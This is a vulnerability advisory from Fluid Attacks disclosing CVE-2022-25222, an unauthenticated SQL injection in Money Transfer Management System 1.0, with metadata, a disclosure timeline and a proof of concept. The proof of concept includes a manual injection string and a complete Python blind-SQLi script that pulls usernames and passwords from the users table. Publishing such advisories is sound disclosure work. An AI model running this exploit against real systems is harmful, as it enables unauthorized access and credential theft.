CVE-2022-25222: Money Transfer Management System 1.0 - Unauthenticated SQLi | Fluid Attacks

Summary

Name

Money Transfer Management System - Unauthenticated SQL Injection

Code name

Berry

Product

Money Transfer Management System

Affected versions

Version 1.0

State

Public

Release date

2022-03-15

Vulnerability

Kind

SQL injection

Rule

146. SQL injection

Remote

Yes

CVSSv3 Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSSv3 Base Score

7.5

Exploit available

Yes

CVE ID(s)

CVE-2022-25222

Description

Money Transfer Management System Version 1.0 allows an unauthenticated user to inject SQL queries in admin/maintenance/manage_branch.php and admin/maintenance/manage_fee.php via the id parameter.

Proof of Concept

Steps to reproduce

1. Go to http://127.0.0.1/mtms/admin/maintenance/manage_branch.php

2. Insert the following query inside the id parameter.

?id=1' and 1=1 -- -

3. The server response changes if the second part of the query is true or false. To automate the process use the below exploit.

System Information

• Version: Money Transfer Management System version 1.0.
• Operating System: Linux.
• Web Server: Apache
• PHP Version: 7.4
• Database and version: MySQL

Exploit

import requests
import urllib.parse

dictionary = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>[email protected][\\]^_`{|}~"""

def sqli_bool(base_url,query):


    url = "?id=1' and %s -- -" % query

    #proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
    #r = requests.get(base_url+url, proxies=proxies)
    r = requests.get(base_url+url)

    if len(r.text) > 2700:
        return True

    else:
        return False


def get_length(url, query):

    for i in range(0,200):
        current_query = "(length((%s))=%s)"%(query,str(i))
        current_query = current_query=urllib.parse.quote(current_query)
        if sqli_bool(url,current_query):
            break

    if i !=199:
        return i
    else:
        return -1


def make_query(url,query):

    # Get length
    length = get_length(url,query)

    print("[*] Getting output length:")
    if length == -1:
        print("Error getting query length")
        return 0
    print("[+] Output Lenght: " + str(length))

    current_result = ""

    print()
    print("[*] Getting output: ")

    for pos in range(length+1):
        for char in dictionary:

            current_query = '(substr((%s),%s,1)="%s")' %(query,str(pos),requests.utils.quote(char))
            if sqli_bool(url,current_query):
                current_result += char
                print(current_result, end='\r')
                break

    print("[+] Found: " + " " * 100)
    print(current_result)


url = "http://127.0.0.1/mtms/admin/maintenance/manage_branch.php"

# must be only 1 row
# use limit and offset to iterate

# CHANGE THIS
query = "select concat(username,':', password) as t1 from users limit 1"

make_query(url,query)

Mitigation

By 2022-03-15 there is not a patch resolving the issue.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.

References

Vendor page

https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Timeline

• 2022-02-15: Vulnerability discovered.

• 2022-02-15: Vendor contacted.

• 2022-03-15: Public Disclosure.